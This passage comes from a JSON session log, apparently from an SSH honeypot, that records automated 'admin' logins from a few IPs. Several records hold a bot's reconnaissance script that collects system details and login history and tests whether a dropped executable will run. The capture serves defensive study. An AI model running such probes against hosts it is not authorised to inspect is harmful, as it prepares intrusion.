  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:49:14.753481+00:00",
  "ended_at": "2026-08-20T07:49:15.279255+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5f3695f0-fc04-41d9-a53a-f4c8a117997e",
  "name": "crimson-humble-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.118.39.49",
  "src_port": 36888,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:47:21.272611+00:00",
  "ended_at": "2026-08-20T07:47:22.158791+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1270075-e339-4727-b095-1e7fac905fe3",
  "name": "misty-golden-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.118.39.49",
  "src_port": 33998,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:45:37.520306+00:00",
  "ended_at": "2026-08-20T07:45:39.143023+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aaf8feed-8586-467d-b489-0f991462adb2",
  "name": "lucid-muted-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.118.39.49",
  "src_port": 59322,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:43:57.348740+00:00",
  "ended_at": "2026-08-20T07:43:59.297726+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fa849094-1b75-49ba-bde8-a0eb299b27ea",
  "name": "wandering-gentle-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 56428,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:42:23.260030+00:00",
  "ended_at": "2026-08-20T07:42:23.371722+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fb3e2a49-f73c-4110-ac0d-9b04f730948b",
  "name": "noble-daring-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 53482,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:40:45.035830+00:00",
  "ended_at": "2026-08-20T07:40:45.147967+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e270af1f-1f64-49aa-827b-e71003427789",
  "name": "blazing-brisk-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 50558,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:39:00.430808+00:00",
  "ended_at": "2026-08-20T07:39:00.678959+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d3b4a1f2-ce1a-42cb-bbec-4ad0589d91c4",
  "name": "cosmic-bitter-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 47662,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:37:04.463895+00:00",
  "ended_at": "2026-08-20T07:37:04.615398+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a64d40e1-2c84-4d19-b226-6dcdf6fa5da3",
  "name": "fabled-arctic-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 44770,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:35:15.175763+00:00",
  "ended_at": "2026-08-20T07:35:15.284200+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7021abdd-1698-4cef-b130-076e72993756",
  "name": "glassy-flinty-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.24.211.204",
  "src_port": 53907,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:33:35.951819+00:00",
  "ended_at": "2026-08-20T07:33:36.997077+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
